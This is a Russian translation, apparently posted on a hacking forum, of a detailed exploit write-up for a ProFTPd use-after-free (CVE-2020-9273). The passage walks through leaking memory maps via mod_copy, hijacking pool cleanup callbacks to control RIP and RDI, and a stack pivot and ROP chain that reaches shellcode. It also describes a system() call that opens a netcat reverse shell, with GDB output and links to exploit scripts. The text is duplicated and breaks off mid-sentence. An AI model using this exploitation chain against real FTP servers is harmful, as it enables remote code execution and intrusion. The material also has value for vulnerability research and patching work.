Уважаемые комрады, сегодняшняя проповедь посвящена созданию PoC для уязвимости Use-After-Free в ProFTPd, которая может быть активирована после аутентификации и может привести к удаленному выполнению кода после аутентификации. Пожалуйста, присаживайтесь и слушайте мою сказку.
Введение
В этом посте будет проанализирована уязвимость и способы ее использования в обход всех средств защиты от эксплойтов памяти, имеющихся по умолчанию (ASLR, PIE, NX, Full RELRO, Stack Canaries и т.д.)
Прежде всего хочу отметить:
- @ DUKPT_, который также работал над PoC для этой уязвимости, за свой подход к перезаписи gid_tab->pool, который я решил использовать в эксплойте (будет объяснено позже в этом посте)
- Antonio Morales @nosoynadiemas за обнаружение этой уязвимости, вы можете найти дополнительную информацию о том, как он ее обнаружил, в его посте Fuzzing sockets, часть 1: FTP-серверы
Уязвимость
Чтобы вызвать уязвимость, нам нужно сначала запустить передачу нового канала данных, а затем прервать передачу через командный канал, пока канал данных все еще открыт.
Используя канал данных, мы можем заполнить динамическую память, чтобы перезаписать структуру resp_pool, которая на данный момент является session.curr_cmd_rec->pool.
Результатом успешного срабатывания уязвимости является полный контроль над resp_pool:
Очевидно, что, поскольку в структуре нет действительных указателей, мы получаем ошибку сегментации в этой строке кода:
blok, который совпадает с p->last значением, в то время равен 0x4141414141414141
Распределитель пула ProFTPd
Распределитель пула ProFTPd такой же, как и у Apache.
Распределение здесь происходит с использованием palloc() и pcalloc(), которые являются функциями оболочки для alloc_pool().
ProFTPd Pool Allocator работает с блоками, которые являются фактическими кусками кучи glibc.
Каждый блок имеет структуру заголовка block_hdr, которая определяет его:
- blok->h.endp указывает на конец текущего блока
- blok->h.next указывает на следующий блок в связанном списке
- blok->h.first_avail указывает на первую доступную память в этом блоке
Это код alloc_pool():
Как мы видим, он сначала пытается использовать память в том же блоке, если нет места, выделяет новый блок с помощью new_block() и обновляет последний блок пула при p->last.
Заголовки пула, определенные структурой pool_rec, сохраняются сразу после первого блока, созданного для этого пула, как мы можем видеть на make_sub_pool(), который создает новый пул:
Фактически make_sub_pool() также отвечает за создание постоянного пула, у которого нет родителя. При этом p будет NULL.
Глядя на код make_sub_pool(), вы можете понять, что он получает новый блок, и сразу после заголовков block_hdr вводятся заголовки pool_rec, а blok->h.first_avail обновляется, чтобы указывать сразу после него.
Затем инициализируются записи нового созданного пула.
Запись p->cleanups - это указатель на структуру cleanup_t:
Очистки интерпретируются функцией run_cleanups() и регистрируются функцией register_cleanup().
Цепочку блоков можно освободить с помощью free_blocks():
Анализ эксплуатации
У нас есть контроль над действительно интересной структурой pool_rec, теперь нам может потребоваться поиск примитивов, которые позволят нам получить что-то полезное от этой уязвимости, например, получение удаленного выполнения кода.
Утечка адресов памяти
Очевидно, что для использования этой уязвимости предсказуемые адреса памяти являются обязательным требованием перед использованием примитивов, поскольку в этом случае эксплуатация заключается в игре с указателями, структурами и записями в память.
Утечка адресов памяти в этой ситуации действительно сложна, поскольку мы находимся в процессе очистки/завершения сеанса и запускаем уязвимость, которая нам действительно нужна для создания прерывания.
Сначала я подумал о чтении файла /proc/self/maps, который может читать любой процесс, даже с низкими привилегиями.
Возможно, теоретически это сработает, к сожалению, ProFTPd использует системный вызов stat для получения размера файла, так как stat по псевдофайлам, таким как maps , возвращает ноль, это прерывает передачу, и 0 байтов возвращается клиенту по каналу данных.
Подумав о дополнительных способах сделать это, я понял о mod_copy, модуле в ProFTPd, который позволяет копировать файлы на сервере.
Мы можем использовать mod_copy для копирования файла из/proc/self/ maps в /tmp, и, оказавшись там, мы выполняем обычную передачу файла в /tmp, который сейчас не является псевдо-файлом, поэтому /proc/self /maps контент будет возвращен злоумышленнику.
Эта утечка действительно интересна, поскольку она дает вам адреса для каждого сегмента и даже имя файла общих библиотек, которые иногда содержат версии, такие как libc-2.31.so, и это действительно интересно с точки зрения надежности эксплойта, мы могли бы использовать смещения для конкретных libc версии.
Взлом потока управления
Мы должны преобразовать наш контроль над session.curr_cmd_rec→pool в любой примитив записи, позволяющий нам каким-то образом достичь run_cleanups() с произвольной структурой cleanup_t.
При поиске записи записи в структуру не было ничего полезного, что позволило бы нам напрямую писать примитивы «write-what-where а» (это было бы намного проще).
Вместо этого единственный способ записать что-либо на произвольных адресах - это использовать make_sub_pool() (в pool.c: 415), который в какой-то момент вызывается с cmd->pool в качестве аргумента:
Эта функция вызывается на main.c: 287 из функции _dispatch() с нашим управляемым пулом в качестве аргумента:
Как вы можете видеть, new_pool->sub_next теперь имеет значение p-> sub_pools, которое контролируется, затем мы вводим в new_pool->sub_next-> sub_prev указатель new_pool.
Это означает, что мы можем записать на любой произвольный адрес значение new_pool, которое, по-видимому, не так полезно, поскольку единственное отношение, которое у нас есть с этим вновь созданным пулом cmd->tmp_pool, - это cmd->tmp_pool->parent равен resp_pool, поскольку мы являемся для него родительским пулом.
Также единственное значение, которое мы контролируем, - это new_pool-> sub_next, которое мы фактически используем для примитива записи.
Какие еще есть интересные примитивы?
В предыдущем разделе мы объяснили, как работает распределитель пула ProFTPd, когда создается новый пул, p->first и p->last указывают на блоки, используемые для пула, нас интересует p->last, поскольку это блок, который фактически используется, как мы можем видеть на alloc_pool()в pool.c: 570:
first_avail - это указатель на предел между используемыми данными и доступным свободным пространством, с которого мы начнем выделять память.
Наш пул передается в pstrdup() несколько раз для выделения строки:
Эта функция вызывает palloc(),который в итоге вызывает alloc_pool().
Выделения в основном представляют собой неконтролируемые строки, которые кажутся нам бесполезными, за исключением одного выделения в cmd.c: 373 в функции pr_cmd_get_displayable_str():
Как видите, cmd->pool (наш управляемый пул) передается в pstrdup(), как видно из cmd.c: 363:
res указывает на нашу последнюю отправленную команду
Это означает, что если мы отправим произвольные данные вместо команды, мы сможем ввести пользовательские данные в пространство блока пула, и, поскольку мы можем повредить p->last, мы можем сделать так, чтобы blok-> h.first_avail указывал на любой адрес, который мы хотим, а это означает мы можем перезаписать через команду любые данные.
К сожалению, это не похоже на наше повреждение из канала данных, поскольку здесь наши команды обрабатываются как строки, а не двоичные данные, как это делает канал данных.
Это означает, что мы очень ограничены в перезаписи структур или любых полезных данных.
Кроме того, некоторые выделения происходят раньше, и куча от начального значения blok->h.first_avail до этого значения, когда происходит pstrdup() в нашей команде будет заполнена строками и недействительными указателями, которые, вероятно, могут закончиться сбоем до достижения run_cleanups().
Изначально я решил использовать blok->h.first_avail для перезаписи записей cmd->tmp_pool произвольными данными.
Этот пул освобождается с помощью destroy_pool() на main.c: 409 в функции _dispatch():
Это означает, что если мы будем контролировать значение cmd->tmp_pool-> cleanups при достижении clear_pool(), у нас будет возможность управлять RIP и RDI после вызова run_cleanups():
Как вы можете видеть, clear_pool() вызывается, но после доступа к некоторым записям пула, которые должны быть либо NULL, либо действительным адресом с возможностью записи.
После вызова clear_pool() идет так:
Мы видим, что run_cleanups() вызывается напрямую, без дополнительных проверок/операций записи в память.
При вызове функции run_cleanups():
Глядя на структуру cleanup_t:
Мы можем управлять RIP с помощью c->plain_cleanup_cb и RDI с помощью c->data
К сожалению, разрушить cmd->tmp_pool сложно, так как строка displayable-str добавляется сразу после наших контролируемых данных, а сразу после нашей записи p->cleanup есть некоторые записи, к которым осуществляется доступ в destroy_pool() до достижения run_cleanups().
@DUKPT_, который также работает над PoC для этой уязвимости, перезаписывал gid_tab->pool. Это более надежный метод, поскольку после наших контролируемых данных нет указателей, поэтому, когда добавляется displayable-str, ничего серьезного не будет нарушено, а также здесь, вместо того, чтобы повредить структуру pool_rec, мы повреждаем структуру pr_table_t, поэтому мы может указать gid_tab->pool на память, поврежденную из канала данных, который также принимает NULL, и мы можем создать поддельную структуру pool_rec с произвольным значением p->cleanup в поддельную структуру cleanup_t, которая, наконец, будет передана в run_cleanups().
Интересное использование gid_tab также в том, что gid_tab->pool передается в destroy_pool() в pr_table_free() с аргументом gid_tab:
Вот как выглядит pr_table_t:
Как вы можете видеть после tab->pool (tab->flags, tab->seed и tab->nmaxents) нет указателей, поэтому добавленная строка не вызовет сбоев
Итак, каков план?
1) Создайте поддельную структуру block_hdr, на которую будет указывать p-> last
2) Введите в fake_blok->h.first_avail указатель на gid_tab за вычетом некоторого смещения, где смещение зависит от количества выделений и их размера, поэтому, когда pstrdup() копирует нашу произвольную команду, значение fake_blok->h.first_avail точно равно адрес gid_tab, чтобы соответствовать нашему адресу
3) Введите в p->sub_next адрес tab->chains , чтобы при вызове pr_table_kget() возвращалось NULL, чтобы назначить нашу произвольную команду.
4) Отправьте пользовательскую команду с поддельной pr_table_t, на самом деле, нужен только tab->pool, и укажите fake_tab->pool на поддельную структуру pool_rec
5) Создайте поддельную структуру pool_rec, укажите fake_pool->parent, fake_pool->sub_next и fake_pool->sub_prev на любой доступный для записи адрес, а fake_pool->cleanup в поддельную структуру cleanup_t, содержащую наши произвольные значения RIP и RDI.
Это результат использования техники угона:
Как видите, c->plain_cleanup_cb имеет значение 0 x 4242424242424242, а c-> data имеет значение 0x4141414141414141.
Это означает, что RIP и RDI полностью контролируются.
Получение RCE
Как объяснялось, наша основная цель - достичь функции run_cleanups() с произвольным адресом или с непроизвольным адресом, но контролировать ее содержимое. Это позволяет нам получить полный контроль RIP и RDI, что с учетом того, что у нас уже есть предсказуемые адреса для каждого сегмента, означает, что удаленное выполнение кода, вероятно, возможно.
Некоторые способы получить удаленное выполнение кода:
Разворот стека, выполнение ROP и шелл-кода
Поскольку мы контролируем как RIP, так и RDI, мы могли бы искать полезные гаджеты, которые позволили бы нам перенаправлять поток управления с помощью ROPchain в обход NX.
При достижении run_cleanups()…
При входе в гаджет разворота стека:
Ранее мы создали нашу структуру resp_pool, чтобы указать rax на адрес, где хранится адрес, указывающий рядом с инструкцией ret. Так когда:
mov rax, QWORD PTR [rax+0x18]
выполняется, получаем в rax адрес, который будет использоваться только при следующей инструкции: jmp rax.
Поскольку он находится рядом с инструкцией ret, мы, наконец, выполним нашу ROPchain, поскольку мы указали rsp прямо перед нашей ROPchain, и инструкция ret только что была выполнена.
На момент jmp rax:
И мы видим, что стек был успешно развернут:
ROPchain установит системный вызов SYS_mprotect, который изменит защиту памяти для диапазона кучи на RXW. Затем мы перейдем к шеллкоду и, наконец, достигнем удаленного выполнения кода.
Если мы проверим сопоставления с помощью gdb, мы увидим, что часть кучи теперь является RWX, где на самом деле находится шелл-код:
0x0000563593889000 0x00005635938cb000 0x0000000000000000 rw- [heap]
0x00005635938cb000 0x0000563593915000 0x0000000000000000 rw- [heap]
0x0000563593915000 0x0000563593916000 0x0000000000000000 rwx [heap]
0x0000563593916000 0x000056359394e000 0x0000000000000000 rw- [heap]
Теперь мы переходим к шеллкоду, так как он теперь находится в исполняемой памяти, поэтому удаленное выполнение кода выполнено успешно:
Объединяя все это вместе в эксплойт, вот скриншот успешной эксплуатации этой уязвимости с использованием подхода ROP:
ret2libc or ret2X
Вы можете перейти к любой функции и управлять одним аргументом, это означает, что вы можете вызвать любую функцию с произвольным аргументом. Вы также можете повторно использовать значения регистров для других аргументов, но вы полагаетесь на то, что текущие регистры будут действительными для целевой функции, например: недопустимый указатель вызовет сбой.
Подход, которого я придерживался с этим методом, заключается в вызове system() и указании RDI на настраиваемую командную строку (обратная оболочка netcat), которую я оставляю в куче с предсказуемым адресом.
Сначала мы достигаем destroy_pool() с поддельной структурой pool_rec, фактически мы повторно используем записи из нашей изначально контролируемой структуры:
Затем destroy_pool() будет вызывать clear_pool(), который, наконец, вызывает run_cleanups() с нашей фальшивой структурой cleanup_t, на которую указывает p->cleanups:
Как мы видим, c->plain_cleanup_cb (будущий RIP) указывает на __libc_system (), а c->data указывает на нашу командную строку, хранящуюся в куче.
Результатом, если мы продолжим, будет выполнение нового процесса как части выполнения команды: процесс 35209 выполняет новую программу: / usr/bin/ncat
И, наконец, получение реверс шелла в качестве пользователя, с которым вы вошли на FTP-сервер.
RCE Video Demo также доступен на GitHub (в том же каталоге, где находится эксплойт)
Patch
Здесь вы можете найти проблему GitHub и исправления для этой уязвимости.
Заключение
В этом посте мы проанализировали и продемонстрировали использование Use-After-Free в ProFTPd и смогли получить полное удаленное выполнение кода даже при включенных всех защитах (ASLR, PIE, NX, RELRO, STACKGUARD и т.д.)
Возможно, необходима аутентификация, иногда такая ситуация возникает у злоумышленника, но он не может продолжить работу без подобного эксплойта RCE.
Вы можете найти эксплойт ROP-подхода здесь (https://github.com/lockedbyte/CVE-Exploits/blob/master/CVE-2020-9273/exploit_rop.py).
Вы можете найти другой эксплойт, который использует system() и netcat здесь (https://github.com/lockedbyte/CVE-Exploits/blob/master/CVE-2020-9273/exploit.py).
EoF
Надеемся, вам понравилась эта статья! Не стесняйтесь оставлять отзывы в нашем твиттере
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://adepts.of0x.cc/proftpd-cve-2020-9273-exploit/
Введение
В этом посте будет проанализирована уязвимость и способы ее использования в обход всех средств защиты от эксплойтов памяти, имеющихся по умолчанию (ASLR, PIE, NX, Full RELRO, Stack Canaries и т.д.)
Прежде всего хочу отметить:
- @ DUKPT_, который также работал над PoC для этой уязвимости, за свой подход к перезаписи gid_tab->pool, который я решил использовать в эксплойте (будет объяснено позже в этом посте)
- Antonio Morales @nosoynadiemas за обнаружение этой уязвимости, вы можете найти дополнительную информацию о том, как он ее обнаружил, в его посте Fuzzing sockets, часть 1: FTP-серверы
Уязвимость
Чтобы вызвать уязвимость, нам нужно сначала запустить передачу нового канала данных, а затем прервать передачу через командный канал, пока канал данных все еще открыт.
Используя канал данных, мы можем заполнить динамическую память, чтобы перезаписать структуру resp_pool, которая на данный момент является session.curr_cmd_rec->pool.
Результатом успешного срабатывания уязвимости является полный контроль над resp_pool:
gef➤ p p
$3 = (struct pool_rec *) 0x555555708220
gef➤ p resp_pool
$4 = (pool *) 0x555555708220
gef➤ p session.curr_cmd_rec->pool
$5 = (struct pool_rec *) 0x555555708220
gef➤ p *resp_pool
$6 = {
first = 0x4141414141414141,
last = 0x4141414141414141,
cleanups = 0x4141414141414141,
sub_pools = 0x4141414141414141,
sub_next = 0x4141414141414141,
sub_prev = 0x4141414141414141,
parent = 0x4141414141414141,
free_first_avail = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
tag = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>
}
Очевидно, что, поскольку в структуре нет действительных указателей, мы получаем ошибку сегментации в этой строке кода:
C:
first_avail = blok->h.first_avail
blok, который совпадает с p->last значением, в то время равен 0x4141414141414141
Распределитель пула ProFTPd
Распределитель пула ProFTPd такой же, как и у Apache.
Распределение здесь происходит с использованием palloc() и pcalloc(), которые являются функциями оболочки для alloc_pool().
ProFTPd Pool Allocator работает с блоками, которые являются фактическими кусками кучи glibc.
Каждый блок имеет структуру заголовка block_hdr, которая определяет его:
C:
union block_hdr {
union align a;
/* Padding */
#if defined(_LP64) || defined(__LP64__)
char pad[32];
#endif
/* Actual header */
struct {
void *endp;
union block_hdr *next;
void *first_avail;
} h;
};
- blok->h.endp указывает на конец текущего блока
- blok->h.next указывает на следующий блок в связанном списке
- blok->h.first_avail указывает на первую доступную память в этом блоке
Это код alloc_pool():
C:
static void *alloc_pool(struct pool_rec *p, size_t reqsz, int exact) {
size_t nclicks = 1 + ((reqsz - 1) / CLICK_SZ);
size_t sz = nclicks * CLICK_SZ;
union block_hdr *blok;
char *first_avail, *new_first_avail;
blok = p->last;
if (blok == NULL) {
errno = EINVAL;
return NULL;
}
first_avail = blok->h.first_avail;
if (reqsz == 0) {
errno = EINVAL;
return NULL;
}
new_first_avail = first_avail + sz;
if (new_first_avail <= (char *) blok->h.endp) {
blok->h.first_avail = new_first_avail;
return (void *) first_avail;
}
pr_alarms_block();
blok = new_block(sz, exact);
p->last->h.next = blok;
p->last = blok;
first_avail = blok->h.first_avail;
blok->h.first_avail = sz + (char *) blok->h.first_avail;
pr_alarms_unblock();
return (void *) first_avail;
}
Как мы видим, он сначала пытается использовать память в том же блоке, если нет места, выделяет новый блок с помощью new_block() и обновляет последний блок пула при p->last.
Заголовки пула, определенные структурой pool_rec, сохраняются сразу после первого блока, созданного для этого пула, как мы можем видеть на make_sub_pool(), который создает новый пул:
C:
struct pool_rec *make_sub_pool(struct pool_rec *p) {
union block_hdr *blok;
pool *new_pool;
pr_alarms_block();
blok = new_block(0, FALSE);
new_pool = (pool *) blok->h.first_avail;
blok->h.first_avail = POOL_HDR_BYTES + (char *) blok->h.first_avail;
memset(new_pool, 0, sizeof(struct pool_rec));
new_pool->free_first_avail = blok->h.first_avail;
new_pool->first = new_pool->last = blok;
if (p) {
new_pool->parent = p;
new_pool->sub_next = p->sub_pools;
if (new_pool->sub_next)
new_pool->sub_next->sub_prev = new_pool;
p->sub_pools = new_pool;
}
pr_alarms_unblock();
return new_pool;
}
Фактически make_sub_pool() также отвечает за создание постоянного пула, у которого нет родителя. При этом p будет NULL.
Глядя на код make_sub_pool(), вы можете понять, что он получает новый блок, и сразу после заголовков block_hdr вводятся заголовки pool_rec, а blok->h.first_avail обновляется, чтобы указывать сразу после него.
Затем инициализируются записи нового созданного пула.
Запись p->cleanups - это указатель на структуру cleanup_t:
C:
typedef struct cleanup {
void *data;
void (*plain_cleanup_cb)(void *);
void (*child_cleanup_cb)(void *);
struct cleanup *next;
} cleanup_t;
Очистки интерпретируются функцией run_cleanups() и регистрируются функцией register_cleanup().
Цепочку блоков можно освободить с помощью free_blocks():
C:
static void free_blocks(union block_hdr *blok, const char *pool_tag) {
union block_hdr *old_free_list = block_freelist;
if (!blok)
return;
block_freelist = blok;
while (blok->h.next) {
chk_on_blk_list(blok, old_free_list, pool_tag);
blok->h.first_avail = (char *) (blok + 1);
blok = blok->h.next;
}
chk_on_blk_list(blok, old_free_list, pool_tag);
blok->h.first_avail = (char *) (blok + 1);
blok->h.next = old_free_list;
}
Анализ эксплуатации
У нас есть контроль над действительно интересной структурой pool_rec, теперь нам может потребоваться поиск примитивов, которые позволят нам получить что-то полезное от этой уязвимости, например, получение удаленного выполнения кода.
Утечка адресов памяти
Очевидно, что для использования этой уязвимости предсказуемые адреса памяти являются обязательным требованием перед использованием примитивов, поскольку в этом случае эксплуатация заключается в игре с указателями, структурами и записями в память.
Утечка адресов памяти в этой ситуации действительно сложна, поскольку мы находимся в процессе очистки/завершения сеанса и запускаем уязвимость, которая нам действительно нужна для создания прерывания.
Сначала я подумал о чтении файла /proc/self/maps, который может читать любой процесс, даже с низкими привилегиями.
Возможно, теоретически это сработает, к сожалению, ProFTPd использует системный вызов stat для получения размера файла, так как stat по псевдофайлам, таким как maps , возвращает ноль, это прерывает передачу, и 0 байтов возвращается клиенту по каналу данных.
Подумав о дополнительных способах сделать это, я понял о mod_copy, модуле в ProFTPd, который позволяет копировать файлы на сервере.
Мы можем использовать mod_copy для копирования файла из/proc/self/ maps в /tmp, и, оказавшись там, мы выполняем обычную передачу файла в /tmp, который сейчас не является псевдо-файлом, поэтому /proc/self /maps контент будет возвращен злоумышленнику.
Эта утечка действительно интересна, поскольку она дает вам адреса для каждого сегмента и даже имя файла общих библиотек, которые иногда содержат версии, такие как libc-2.31.so, и это действительно интересно с точки зрения надежности эксплойта, мы могли бы использовать смещения для конкретных libc версии.
Взлом потока управления
Мы должны преобразовать наш контроль над session.curr_cmd_rec→pool в любой примитив записи, позволяющий нам каким-то образом достичь run_cleanups() с произвольной структурой cleanup_t.
При поиске записи записи в структуру не было ничего полезного, что позволило бы нам напрямую писать примитивы «write-what-where а» (это было бы намного проще).
Вместо этого единственный способ записать что-либо на произвольных адресах - это использовать make_sub_pool() (в pool.c: 415), который в какой-то момент вызывается с cmd->pool в качестве аргумента:
C:
struct pool_rec *make_sub_pool(struct pool_rec *p) {
union block_hdr *blok;
pool *new_pool;
pr_alarms_block();
blok = new_block(0, FALSE);
new_pool = (pool *) blok->h.first_avail;
blok->h.first_avail = POOL_HDR_BYTES + (char *) blok->h.first_avail;
memset(new_pool, 0, sizeof(struct pool_rec));
new_pool->free_first_avail = blok->h.first_avail;
new_pool->first = new_pool->last = blok;
if (p) {
new_pool->parent = p;
new_pool->sub_next = p->sub_pools;
if (new_pool->sub_next)
new_pool->sub_next->sub_prev = new_pool;
p->sub_pools = new_pool;
}
pr_alarms_unblock();
return new_pool;
}
Эта функция вызывается на main.c: 287 из функции _dispatch() с нашим управляемым пулом в качестве аргумента:
C:
...
if (cmd->tmp_pool == NULL) {
cmd->tmp_pool = make_sub_pool(cmd->pool);
pr_pool_tag(cmd->tmp_pool, "cmd_rec tmp pool");
}
...
Как вы можете видеть, new_pool->sub_next теперь имеет значение p-> sub_pools, которое контролируется, затем мы вводим в new_pool->sub_next-> sub_prev указатель new_pool.
Это означает, что мы можем записать на любой произвольный адрес значение new_pool, которое, по-видимому, не так полезно, поскольку единственное отношение, которое у нас есть с этим вновь созданным пулом cmd->tmp_pool, - это cmd->tmp_pool->parent равен resp_pool, поскольку мы являемся для него родительским пулом.
Также единственное значение, которое мы контролируем, - это new_pool-> sub_next, которое мы фактически используем для примитива записи.
Какие еще есть интересные примитивы?
В предыдущем разделе мы объяснили, как работает распределитель пула ProFTPd, когда создается новый пул, p->first и p->last указывают на блоки, используемые для пула, нас интересует p->last, поскольку это блок, который фактически используется, как мы можем видеть на alloc_pool()в pool.c: 570:
C:
...
blok = p->last;
if (blok == NULL) {
errno = EINVAL;
return NULL;
}
first_avail = blok->h.first_avail;
...
first_avail - это указатель на предел между используемыми данными и доступным свободным пространством, с которого мы начнем выделять память.
Наш пул передается в pstrdup() несколько раз для выделения строки:
C:
char *pstrdup(pool *p, const char *str) {
char *res;
size_t len;
if (p == NULL ||
str == NULL) {
errno = EINVAL;
return NULL;
}
len = strlen(str) + 1;
res = palloc(p, len);
if (res != NULL) {
sstrncpy(res, str, len);
}
return res;
}
Эта функция вызывает palloc(),который в итоге вызывает alloc_pool().
Выделения в основном представляют собой неконтролируемые строки, которые кажутся нам бесполезными, за исключением одного выделения в cmd.c: 373 в функции pr_cmd_get_displayable_str():
C:
...
if (pr_table_add(cmd->notes, pstrdup(cmd->pool, "displayable-str"),
pstrdup(cmd->pool, res), 0) < 0) {
if (errno != EEXIST) {
pr_trace_msg(trace_channel, 4,
"error setting 'displayable-str' command note: %s", strerror(errno));
}
}
...
Как видите, cmd->pool (наш управляемый пул) передается в pstrdup(), как видно из cmd.c: 363:
C:
...
if (argc > 0) {
register unsigned int i;
res = pstrcat(p, res, pr_fs_decode_path(p, argv[0]), NULL);
for (i = 1; i < argc; i++) {
res = pstrcat(p, res, " ", pr_fs_decode_path(p, argv[i]), NULL);
}
}
...
res указывает на нашу последнюю отправленную команду
C:
...
if (pr_table_add(cmd->notes, pstrdup(cmd->pool, "displayable-str"),
pstrdup(cmd->pool, res), 0) < 0) {
if (errno != EEXIST) {
pr_trace_msg(trace_channel, 4,
"error setting 'displayable-str' command note: %s", strerror(errno));
}
}
...
Это означает, что если мы отправим произвольные данные вместо команды, мы сможем ввести пользовательские данные в пространство блока пула, и, поскольку мы можем повредить p->last, мы можем сделать так, чтобы blok-> h.first_avail указывал на любой адрес, который мы хотим, а это означает мы можем перезаписать через команду любые данные.
К сожалению, это не похоже на наше повреждение из канала данных, поскольку здесь наши команды обрабатываются как строки, а не двоичные данные, как это делает канал данных.
Это означает, что мы очень ограничены в перезаписи структур или любых полезных данных.
Кроме того, некоторые выделения происходят раньше, и куча от начального значения blok->h.first_avail до этого значения, когда происходит pstrdup() в нашей команде будет заполнена строками и недействительными указателями, которые, вероятно, могут закончиться сбоем до достижения run_cleanups().
Изначально я решил использовать blok->h.first_avail для перезаписи записей cmd->tmp_pool произвольными данными.
Этот пул освобождается с помощью destroy_pool() на main.c: 409 в функции _dispatch():
C:
...
destroy_pool(cmd->tmp_pool);
cmd->tmp_pool = NULL;
...
Это означает, что если мы будем контролировать значение cmd->tmp_pool-> cleanups при достижении clear_pool(), у нас будет возможность управлять RIP и RDI после вызова run_cleanups():
C:
void destroy_pool(pool *p) {
if (p == NULL) {
return;
}
pr_alarms_block();
if (p->parent) {
if (p->parent->sub_pools == p) {
p->parent->sub_pools = p->sub_next;
}
if (p->sub_prev) {
p->sub_prev->sub_next = p->sub_next;
}
if (p->sub_next) {
p->sub_next->sub_prev = p->sub_prev;
}
}
clear_pool(p);
free_blocks(p->first, p->tag);
pr_alarms_unblock();
}
Как вы можете видеть, clear_pool() вызывается, но после доступа к некоторым записям пула, которые должны быть либо NULL, либо действительным адресом с возможностью записи.
После вызова clear_pool() идет так:
C:
static void clear_pool(struct pool_rec *p) {
/* Sanity check. */
if (p == NULL) {
return;
}
pr_alarms_block();
run_cleanups(p->cleanups);
p->cleanups = NULL;
while (p->sub_pools) {
destroy_pool(p->sub_pools);
}
p->sub_pools = NULL;
free_blocks(p->first->h.next, p->tag);
p->first->h.next = NULL;
p->last = p->first;
p->first->h.first_avail = p->free_first_avail;
pr_alarms_unblock();
}
Мы видим, что run_cleanups() вызывается напрямую, без дополнительных проверок/операций записи в память.
При вызове функции run_cleanups():
C:
static void run_cleanups(cleanup_t *c) {
while (c) {
if (c->plain_cleanup_cb) {
(*c->plain_cleanup_cb)(c->data);
}
c = c->next;
}
}
Глядя на структуру cleanup_t:
C:
typedef struct cleanup {
void *data;
void (*plain_cleanup_cb)(void *);
void (*child_cleanup_cb)(void *);
struct cleanup *next;
} cleanup_t;
Мы можем управлять RIP с помощью c->plain_cleanup_cb и RDI с помощью c->data
К сожалению, разрушить cmd->tmp_pool сложно, так как строка displayable-str добавляется сразу после наших контролируемых данных, а сразу после нашей записи p->cleanup есть некоторые записи, к которым осуществляется доступ в destroy_pool() до достижения run_cleanups().
@DUKPT_, который также работает над PoC для этой уязвимости, перезаписывал gid_tab->pool. Это более надежный метод, поскольку после наших контролируемых данных нет указателей, поэтому, когда добавляется displayable-str, ничего серьезного не будет нарушено, а также здесь, вместо того, чтобы повредить структуру pool_rec, мы повреждаем структуру pr_table_t, поэтому мы может указать gid_tab->pool на память, поврежденную из канала данных, который также принимает NULL, и мы можем создать поддельную структуру pool_rec с произвольным значением p->cleanup в поддельную структуру cleanup_t, которая, наконец, будет передана в run_cleanups().
Интересное использование gid_tab также в том, что gid_tab->pool передается в destroy_pool() в pr_table_free() с аргументом gid_tab:
C:
int pr_table_free(pr_table_t *tab) {
if (tab == NULL) {
errno = EINVAL;
return -1;
}
if (tab->nents != 0) {
errno = EPERM;
return -1;
}
destroy_pool(tab->pool);
return 0;
}
Вот как выглядит pr_table_t:
C:
struct table_rec {
pool *pool;
unsigned long flags;
unsigned int seed;
unsigned int nmaxents;
pr_table_entry_t **chains;
unsigned int nchains;
unsigned int nents;
pr_table_entry_t *free_ents;
pr_table_key_t *free_keys;
pr_table_entry_t *tab_iter_ent;
pr_table_entry_t *val_iter_ent;
pr_table_entry_t *cache_ent;
int (*keycmp)(const void *, size_t, const void *, size_t);
unsigned int (*keyhash)(const void *, size_t);
void (*entinsert)(pr_table_entry_t **, pr_table_entry_t *);
void (*entremove)(pr_table_entry_t **, pr_table_entry_t *);
};
...
typedef struct table_rec pr_table_t;
Как вы можете видеть после tab->pool (tab->flags, tab->seed и tab->nmaxents) нет указателей, поэтому добавленная строка не вызовет сбоев
Итак, каков план?
1) Создайте поддельную структуру block_hdr, на которую будет указывать p-> last
2) Введите в fake_blok->h.first_avail указатель на gid_tab за вычетом некоторого смещения, где смещение зависит от количества выделений и их размера, поэтому, когда pstrdup() копирует нашу произвольную команду, значение fake_blok->h.first_avail точно равно адрес gid_tab, чтобы соответствовать нашему адресу
3) Введите в p->sub_next адрес tab->chains , чтобы при вызове pr_table_kget() возвращалось NULL, чтобы назначить нашу произвольную команду.
4) Отправьте пользовательскую команду с поддельной pr_table_t, на самом деле, нужен только tab->pool, и укажите fake_tab->pool на поддельную структуру pool_rec
5) Создайте поддельную структуру pool_rec, укажите fake_pool->parent, fake_pool->sub_next и fake_pool->sub_prev на любой доступный для записи адрес, а fake_pool->cleanup в поддельную структуру cleanup_t, содержащую наши произвольные значения RIP и RDI.
Это результат использования техники угона:
Код:
*0x4242424242424242 (
$rdi = 0x4141414141414141,
$rsi = 0x0000000000000000,
$rdx = 0x4242424242424242,
$rcx = 0x0000555555579c00 → <entry_remove+0> endbr64
)
Как видите, c->plain_cleanup_cb имеет значение 0 x 4242424242424242, а c-> data имеет значение 0x4141414141414141.
Это означает, что RIP и RDI полностью контролируются.
Получение RCE
Как объяснялось, наша основная цель - достичь функции run_cleanups() с произвольным адресом или с непроизвольным адресом, но контролировать ее содержимое. Это позволяет нам получить полный контроль RIP и RDI, что с учетом того, что у нас уже есть предсказуемые адреса для каждого сегмента, означает, что удаленное выполнение кода, вероятно, возможно.
Некоторые способы получить удаленное выполнение кода:
Разворот стека, выполнение ROP и шелл-кода
Поскольку мы контролируем как RIP, так и RDI, мы могли бы искать полезные гаджеты, которые позволили бы нам перенаправлять поток управления с помощью ROPchain в обход NX.
При достижении run_cleanups()…
Код:
gef➤ p *c
$7 = {
data = 0x563593915280,
plain_cleanup_cb = 0x7f875ab201a1 <authnone_marshal+17>,
child_cleanup_cb = 0x4141414141414141,
next = 0x4242424242424242
}
gef➤ x/2i c->plain_cleanup_cb
0x7f875ab201a1 <authnone_marshal+17>: push rdi
0x7f875ab201a2 <authnone_marshal+18>: pop rsp
gef➤
При входе в гаджет разворота стека:
Код:
→ 0x7f875ab201a1 <authnone_marshal+17> push rdi
0x7f875ab201a2 <authnone_marshal+18> pop rsp
0x7f875ab201a3 <authnone_marshal+19> lea rsi, [rdi+0x48]
0x7f875ab201a7 <authnone_marshal+23> mov rdi, r8
0x7f875ab201aa <authnone_marshal+26> mov rax, QWORD PTR [rax+0x18]
0x7f875ab201ae <authnone_marshal+30> jmp rax
Ранее мы создали нашу структуру resp_pool, чтобы указать rax на адрес, где хранится адрес, указывающий рядом с инструкцией ret. Так когда:
